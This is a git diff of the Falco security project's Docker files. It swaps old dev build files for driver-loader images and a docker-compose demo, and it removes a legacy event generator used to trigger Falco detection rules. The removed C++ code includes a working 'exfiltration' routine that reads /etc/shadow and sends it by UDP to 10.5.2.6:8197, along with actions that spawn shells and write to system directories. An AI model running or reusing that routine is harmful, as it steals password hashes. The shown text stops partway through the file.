- && rm -rf /var/lib/apt/lists/*
-
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
-
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
-
-RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
- && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
- && apt-get update \
- && apt-get install -y --no-install-recommends falco \
- && apt-get clean \
- && rm -rf /var/lib/apt/lists/*
-
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
-
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
-
-COPY ./docker-entrypoint.sh /
-
-ENTRYPOINT ["/docker-entrypoint.sh"]
-
-CMD ["/usr/bin/falco"]

docker/dev/docker-entrypoint.sh

@@ -1,17 +0,0 @@
-#!/bin/bash
-#set -e
-
-# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
-
-if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
-    echo "* Setting up /usr/src links from host"
-
-    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-    do
-        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-    done
-
-    /usr/bin/falco-probe-loader
-fi
-
-exec "$@"

docker/docker-compose/README.md

@@ -0,0 +1,17 @@
+# Warning
+
+This environment is provided for demonstration purposes only and does not represent a production ready deployment of Falco.
+
+# Components
+The components that this docker-compose file spins up are [Falco](https://falco.org/), [falcosidekick](https://github.com/falcosecurity/falcosidekick), [falcosidekick-ui](https://github.com/falcosecurity/falcosidekick-ui) and a [redis](https://redis.io/) database.
+
+# Running
+To start this environment run `docker-compose up`.
+Note: You may need to use sudo for Falco to start correctly.
+
+# Cleaning up
+
+To clean up run `docker-compose rm`.
+
+# Generating events
+If you'd like to generate events that will trigger rules and show up in the UI you can run `docker run -it --rm falcosecurity/event-generator run syscall --loop`

docker/docker-compose/config/http_output.yml

@@ -0,0 +1,11 @@
+# [Stable] `http_output`
+#
+# Send logs to an HTTP endpoint or webhook.
+#
+# When using falcosidekick, it is necessary to set `json_output` to true.
+json_output: true
+json_include_output_property: true
+http_output:
+  enabled: true
+  url: "http://falco-sidekick:2801/"
+  

docker/docker-compose/docker-compose.yaml

@@ -0,0 +1,34 @@
+version: "3"
+services:
+  falco:
+    container_name: falco
+    cap_drop:
+      - all
+    cap_add:
+      - sys_admin
+      - sys_resource
+      - sys_ptrace
+    volumes:
+      - /var/run/docker.sock:/host/var/run/docker.sock
+      - /proc:/host/proc:ro
+      - /etc:/host/etc:ro
+      - ./config/http_output.yml:/etc/falco/config.d/http_output.yml
+    image: falcosecurity/falco:latest
+
+  sidekick:
+    container_name: falco-sidekick
+    image: falcosecurity/falcosidekick
+    environment:
+      WEBUI_URL: http://falco-webui:2802
+
+  webui:
+    container_name: falco-webui
+    image: falcosecurity/falcosidekick-ui:2.2.0
+    ports:
+      - 2802:2802
+    depends_on:
+      - redis
+    command: ['-r', 'redis:6379', '-d']
+
+  redis:
+    image: redis/redis-stack:7.2.0-v11

docker/driver-loader-buster/Dockerfile

@@ -0,0 +1,142 @@
+FROM debian:buster
+
+ARG FALCO_COMMIT_SHA
+ARG FALCO_VERSION=latest
+
+LABEL org.opencontainers.image.authors='The Falco Authors https://falco.org' \
+      org.opencontainers.image.url='https://falco.org' \
+      org.opencontainers.image.source='https://github.com/falcosecurity/falco' \
+      org.opencontainers.image.vendor='Falco Organization' \
+      org.opencontainers.image.licenses='Apache-2.0' \
+      org.opencontainers.image.revision=${FALCO_COMMIT_SHA} \
+      org.opencontainers.image.version=${FALCO_VERSION} \
+      maintainer="cncf-falco-dev@lists.cncf.io"
+
+LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro falcosecurity/falco-driver-loader:latest-buster [driver] [options]"
+
+ARG TARGETARCH
+
+ARG VERSION_BUCKET=deb
+ARG HOST_ROOT=/host
+ARG HOME=/root
+ENV FALCO_VERSION="${FALCO_VERSION}" \
+    VERSION_BUCKET="${VERSION_BUCKET}" \
+    HOST_ROOT="${HOST_ROOT}" \
+    HOME="${HOME}"
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+# Use 20250630T203427Z debian apt snapshot as it still contains support for buster.
+RUN cat <<EOF > /etc/apt/sources.list
+deb http://snapshot.debian.org/archive/debian/20250630T203427Z buster main
+deb http://snapshot.debian.org/archive/debian-security/20250630T203427Z buster/updates main
+deb http://snapshot.debian.org/archive/debian/20250630T203427Z buster-updates main
+EOF
+
+RUN apt-get update \
+	&& apt-get install -y --no-install-recommends \
+	bash-completion \
+	bc \
+	bison \
+	clang-7 \
+	ca-certificates \
+	curl \
+	dkms \
+	flex \
+	gnupg2 \
+	gcc \
+	jq \
+	libc6-dev \
+	libssl-dev \
+	llvm-7 \
+	netcat \
+	patchelf \
+	xz-utils \
+	zstd \
+	&& rm -rf /var/lib/apt/lists/*
+
+RUN if [ "$TARGETARCH" = "amd64" ]; \
+	then apt-get install -y --no-install-recommends libmpx2; \
+	fi
+
+# gcc 6 is no longer included in debian stable, but we need it to
+# build kernel modules on the default debian-based ami used by
+# kops. So grab copies we've saved from debian snapshots with the
+# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
+# or so.
+
+RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
+	curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
+	&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
+	&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
+	&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
+	if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
+	dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
+	&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
+
+# gcc 5 is no longer included in debian stable, but we need it to
+# build centos kernels, which are 3.x based and explicitly want a gcc
+# version 3, 4, or 5 compiler. So grab copies we've saved from debian
+# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
+
+RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
+	curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
+	&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
+	&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
+	&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb	https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
+	&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
+	&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
+	&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
+	if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
+	dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
+	&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
+
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+
+RUN rm -rf /usr/bin/clang \
+	&& rm -rf /usr/bin/llc \
+	&& ln -s /usr/bin/clang-7 /usr/bin/clang \
+	&& ln -s /usr/bin/llc-7 /usr/bin/llc
+
+RUN curl -s https://falco.org/repo/falcosecurity-packages.asc | apt-key add - \
+	&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
+	&& apt-get update -y \
+	&& if [ "$FALCO_VERSION" = "latest" ]; then FALCO_DRIVER_CHOICE=none apt-get install -y --no-install-recommends falco; else FALCO_DRIVER_CHOICE=none apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
+	&& apt-get clean \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601 output.
+ADD ./config/falco.iso8601_timeformat.yaml /etc/falco/config.d/
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+	&& ln -s $HOST_ROOT/lib/modules /lib/modules
+
+# debian:stable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+
+RUN if [ "$TARGETARCH" = "amd64" ] ; then \
+	curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
+	else  \
+	curl -L -o  binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
+	fi
+
+RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
+	&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
+	&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
+	&& dpkg -i *binutils*.deb \
+	&& rm -f *binutils*.deb
+
+COPY docker/driver-loader-buster/docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]

docker/driver-loader-buster/docker-entrypoint.sh

@@ -0,0 +1,125 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2026 The Falco Authors.
+#
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+print_usage() {
+	echo ""
+	echo "Usage:"
+	echo "  docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro falcosecurity/falco-driver-loader:latest-buster [driver] [options]"
+	echo ""
+	echo "Available drivers:"
+	echo "  auto	       leverage automatic driver selection logic (default)"
+	echo "  modern_ebpf    modern eBPF CORE probe"
+	echo "  kmod           kernel module"
+	echo ""
+	echo "Options:"
+	echo "  --help           show this help message"
+	echo "  --clean          try to remove an already present driver installation"
+	echo "  --compile        try to compile the driver locally (default true)"
+	echo "  --download       try to download a prebuilt driver (default true)"
+ 	echo "  --http-insecure	 enable insecure downloads"
+	echo "  --print-env      skip execution and print env variables for other tools to consume"
+	echo ""
+	echo "Environment variables:"
+	echo "  FALCOCTL_DRIVER_REPOS         specify different URL(s) where to look for prebuilt Falco drivers (comma separated)"
+	echo "  FALCOCTL_DRIVER_NAME          specify a different name for the driver"
+	echo "  FALCOCTL_DRIVER_HTTP_HEADERS  specify comma separated list of http headers for driver download (e.g. 'x-emc-namespace: default,Proxy-Authenticate: Basic')"
+	echo ""
+}
+
+echo "* Setting up /usr/src links from host"
+
+for i in "$HOST_ROOT/usr/src"/*
+do
+    base=$(basename "$i")
+    ln -s "$i" "/usr/src/$base"
+done
+
+ENABLE_COMPILE="false"
+ENABLE_DOWNLOAD="false"
+HTTP_INSECURE="false"
+driver=
+has_opts=
+while test $# -gt 0; do
+	case "$1" in
+		auto|kmod|modern_ebpf)
+			if [ -n "$driver" ]; then
+				>&2 echo "Only one driver per invocation"
+				print_usage
+				exit 1
+			else
+			  driver=$1
+			fi
+			;;
+		-h|--help)
+			print_usage
+			exit 0
+			;;
+		--clean)
+			/usr/bin/falcoctl driver cleanup
+			exit 0
+			;;
+		--compile)
+			ENABLE_COMPILE="true"
+			has_opts="true"
+			;;
+		--download)
+			ENABLE_DOWNLOAD="true"
+			has_opts="true"
+			;;
+		--http-insecure)
+			HTTP_INSECURE="true"
+			;;
+		--print-env)
+			/usr/bin/falcoctl driver printenv
+			exit 0
+			;;
+		--*)
+			>&2 echo "Unknown option: $1"
+			print_usage
+			exit 1
+			;;
+		*)
+			>&2 echo "Unknown driver: $1"
+			print_usage
+			exit 1
+			;;
+	esac
+    shift
+done
+
+# No opts passed, enable both compile and download
+if [ -z "$has_opts" ]; then
+    ENABLE_COMPILE="true"
+    ENABLE_DOWNLOAD="true"
+fi
+
+# Default value: auto
+if [ -z "$driver" ]; then
+  driver="auto"
+fi
+
+if [ "$driver" != "auto" ]; then
+  /usr/bin/falcoctl driver config --type $driver
+else
+  # Needed because we need to configure Falco to start with correct driver
+  /usr/bin/falcoctl driver config --type modern_ebpf --type kmod
+fi
+
+/usr/bin/falcoctl driver install --compile=$ENABLE_COMPILE --download=$ENABLE_DOWNLOAD --http-insecure=$HTTP_INSECURE --http-headers="$FALCOCTL_DRIVER_HTTP_HEADERS"

docker/driver-loader/Dockerfile

@@ -0,0 +1,55 @@
+ARG FALCO_IMAGE_TAG=latest
+FROM docker.io/falcosecurity/falco:${FALCO_IMAGE_TAG}-debian
+
+ARG FALCO_COMMIT_SHA
+ARG FALCO_VERSION
+
+LABEL org.opencontainers.image.authors='The Falco Authors https://falco.org' \
+      org.opencontainers.image.url='https://falco.org' \
+      org.opencontainers.image.source='https://github.com/falcosecurity/falco' \
+      org.opencontainers.image.vendor='Falco Organization' \
+      org.opencontainers.image.licenses='Apache-2.0' \
+      org.opencontainers.image.revision=${FALCO_COMMIT_SHA} \
+      org.opencontainers.image.version=${FALCO_VERSION} \
+      maintainer="cncf-falco-dev@lists.cncf.io"
+
+LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro falcosecurity/falco-driver-loader:latest [driver] [options]"
+
+ENV HOST_ROOT=/host
+ENV HOME=/root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+RUN apt-get update \
+	&& apt-get install -y --no-install-recommends \
+	bc \
+	bison \
+	ca-certificates \
+	clang \
+	curl \
+	dkms \
+	dwarves \
+	flex \
+	gcc \
+	gcc-11 \
+	gnupg2 \
+	jq \
+	libc6-dev \
+	libssl-dev \
+	llvm \
+	make \
+	netcat-openbsd \
+	patchelf \
+	xz-utils \
+	zstd \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+	&& ln -s $HOST_ROOT/lib/modules /lib/modules
+
+COPY ./docker/driver-loader/docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]

docker/driver-loader/docker-entrypoint.sh

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: Apache-2.0
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+print_usage() {
+	echo ""
+	echo "Usage:"
+	echo "  docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro falcosecurity/falco-driver-loader:latest [driver] [options]"
+	echo ""
+	echo "Available drivers:"
+	echo "  auto	       leverage automatic driver selection logic (default)"
+	echo "	modern_ebpf    modern eBPF CORE probe"
+	echo "  kmod           kernel module"
+	echo ""
+	echo "Options:"
+	echo "  --help                   show this help message"
+	echo "  --clean                  try to remove an already present driver installation"
+	echo "  --compile                try to compile the driver locally (default true)"
+	echo "  --download               try to download a prebuilt driver (default true)"
+	echo "  --kernel-release <value> set the kernel release"
+	echo "  --kernel-version <value> set the kernel version"
+ 	echo "  --http-insecure	         enable insecure downloads"
+	echo "  --print-env              skip execution and print env variables for other tools to consume"
+	echo ""
+	echo "Environment variables:"
+	echo "  FALCOCTL_DRIVER_REPOS         specify different URL(s) where to look for prebuilt Falco drivers (comma separated)"
+	echo "  FALCOCTL_DRIVER_NAME          specify a different name for the driver"
+	echo "  FALCOCTL_DRIVER_HTTP_HEADERS  specify comma separated list of http headers for driver download (e.g. 'x-emc-namespace: default,Proxy-Authenticate: Basic')"
+	echo ""
+}
+
+echo "* Setting up /usr/src links from host"
+
+for i in "$HOST_ROOT/usr/src"/*
+do
+    [[ -e $i ]] || continue
+    base=$(basename "$i")
+    ln -s "$i" "/usr/src/$base"
+done
+
+ENABLE_COMPILE="false"
+ENABLE_DOWNLOAD="false"
+HTTP_INSECURE="false"
+driver=
+has_opts=
+extra_args=
+
+while test $# -gt 0; do
+	case "$1" in
+		auto|kmod|modern_ebpf)
+			if [ -n "$driver" ]; then
+				>&2 echo "Only one driver per invocation"
+				print_usage
+				exit 1
+			else
+				driver=$1
+			fi
+			;;
+		-h|--help)
+			print_usage
+			exit 0
+			;;
+		--clean)
+			/usr/bin/falcoctl driver cleanup
+			exit 0
+			;;
+		--compile)
+			ENABLE_COMPILE="true"
+			has_opts="true"
+			;;
+		--download)
+			ENABLE_DOWNLOAD="true"
+			has_opts="true"
+			;;
+		--http-insecure)
+			HTTP_INSECURE="true"
+			;;
+		--kernel-release)
+			extra_args+="--kernelrelease=$2 "
+			shift
+			;;
+		--kernel-version)
+			extra_args+="--kernelversion=$2 "
+			shift
+			;;
+		--print-env)
+			/usr/bin/falcoctl driver printenv
+			exit 0
+			;;
+		--*)
+			>&2 echo "Unknown option: $1"
+			print_usage
+			exit 1
+			;;
+		*)
+			>&2 echo "Unknown driver: $1"
+			print_usage
+			exit 1
+			;;
+	esac
+    shift
+done
+
+# No opts passed, enable both compile and download
+if [ -z "$has_opts" ]; then
+    ENABLE_COMPILE="true"
+    ENABLE_DOWNLOAD="true"
+fi
+
+# Default value: auto
+if [ -z "$driver" ]; then
+  driver="auto"
+fi
+
+if [ "$driver" != "auto" ]; then
+  /usr/bin/falcoctl driver config --type $driver
+else
+  # Needed because we need to configure Falco to start with correct driver
+  /usr/bin/falcoctl driver config --type modern_ebpf --type kmod
+fi
+
+/usr/bin/falcoctl driver install --compile=$ENABLE_COMPILE --download=$ENABLE_DOWNLOAD --http-insecure=$HTTP_INSECURE --http-headers="$FALCOCTL_DRIVER_HTTP_HEADERS" $extra_args

docker/event-generator/Dockerfile

@@ -1,6 +0,0 @@
-FROM alpine:latest
-RUN apk add --no-cache bash g++
-COPY ./event_generator.cpp /usr/local/bin
-RUN mkdir -p /var/lib/rpm
-RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
-CMD ["/usr/local/bin/event_generator"]

docker/event-generator/Makefile

@@ -1,2 +0,0 @@
-image:
-	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -1,522 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include <cstdio>
-#include <utility>
-#include <map>
-#include <set>
-#include <string>
-#include <fstream>
-#include <sstream>
-#include <cstring>
-#include <cstdlib>
-#include <unistd.h>
-#include <getopt.h>
-#include <sys/errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <pwd.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-
-using namespace std;
-
-void usage(char *program)
-{
-	printf("Usage %s [options]\n\n", program);
-	printf("Options:\n");
-	printf("     -h/--help: show this help\n");
-	printf("     -a/--action: actions to perform. Can be one of the following:\n");
-	printf("          write_binary_dir                           Write to files below /bin\n");
-	printf("          write_etc                                  Write to files below /etc\n");
-	printf("          read_sensitive_file                        Read a sensitive file\n");
-	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
-	printf("                                                     then read a sensitive file\n");
-	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
-	printf("          spawn_shell                                Run a shell (bash)\n");
-	printf("                                                     Used by spawn_shell_under_httpd below\n");
-	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
-	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
-	printf("                                                     another program\n");
-	printf("          modify_binary_dirs                         Modify a file below /bin\n");
-	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
-	printf("          change_thread_namespace                    Change namespace\n");
-	printf("          system_user_interactive                    Change to a system user and try to\n");
-	printf("                                                     run an interactive command\n");
-	printf("          network_activity                           Open network connections\n");
-	printf("                                                     (used by system_procs_network_activity below)\n");
-	printf("          system_procs_network_activity              Open network connections as a program\n");
-	printf("                                                     that should not perform network actions\n");
-	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
-	printf("          create_files_below_dev                     Create files below /dev\n");
-	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
-	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
-	printf("                                                     rules related to user management programs\n");
-	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
-	printf("                                                     specific address and port\n");
-	printf("          all                                        All of the above\n");
-	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
-	printf("           as a colon-separated list\n");
-	printf("       if specified, -a/--action overrides any environment variables\n");
-	printf("     -i/--interval: Number of seconds between actions\n");
-	printf("     -o/--once: Perform actions once and exit\n");
-}
-
-void open_file(const char *filename, const char *flags)
-{
-	FILE *f = fopen(filename, flags);
-	if(f)
-	{
-		fclose(f);
-	}
-	else
-	{
-		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
-	}
-
-}
-
-void exfiltration()
-{
-	ifstream shadow;
-
-	shadow.open("/etc/shadow");
-
-	printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
-
-	if(!shadow.is_open())
-	{
-		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
-		return;
-	}
-
-	string line;
-	string shadow_contents;
-	while (getline(shadow, line))
-	{
-		shadow_contents += line;
-		shadow_contents += "\n";
-	}
-
-	int rc;
-	ssize_t sent;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in dest;
-
-	dest.sin_family = AF_INET;
-	dest.sin_port = htons(8197);
-	inet_aton("10.5.2.6", &(dest.sin_addr));
-
-	if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
-		return;
-	}
-
-	if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
-	{
-		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
-		return;
-	}
-
-	close(sock);
-}
-
-void touch(const char *filename)
-{
-	open_file(filename, "w");
-}
-
-void read(const char *filename)
-{
-	open_file(filename, "r");
-}
-
-uid_t become_user(const char *user)
-{
-	struct passwd *pw;
-	pw = getpwnam(user);
-	if(pw == NULL)
-	{
-		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
-		exit(1);
-	}
-
-	int rc = setuid(pw->pw_uid);
-
-	if(rc != 0)
-	{
-		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
-		exit(1);
-	}
-}
-
-void spawn(const char *cmd, char **argv, char **env)
-{
-	pid_t child;
-
-	// Fork a process, that way proc.duration is reset
-	if ((child = fork()) == 0)
-	{
-		execve(cmd, argv, env);
-		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void respawn(const char *cmd, const char *action, const char *interval)
-{
-	char *argv[] = {(char *) cmd,
-			(char *) "--action", (char *) action,
-			(char *) "--interval", (char *) interval,
-			(char *) "--once", NULL};
-
-	char *env[] = {NULL};
-
-	spawn(cmd, argv, env);
-}
-
-void write_binary_dir() {
-	printf("Writing to /bin/created-by-event-generator-sh...\n");
-	touch("/bin/created-by-event-generator-sh");
-}
-
-void write_etc() {
-	printf("Writing to /etc/created-by-event-generator-sh...\n");
-	touch("/etc/created-by-event-generator-sh");
-}
-
-void read_sensitive_file() {
-	printf("Reading /etc/shadow...\n");
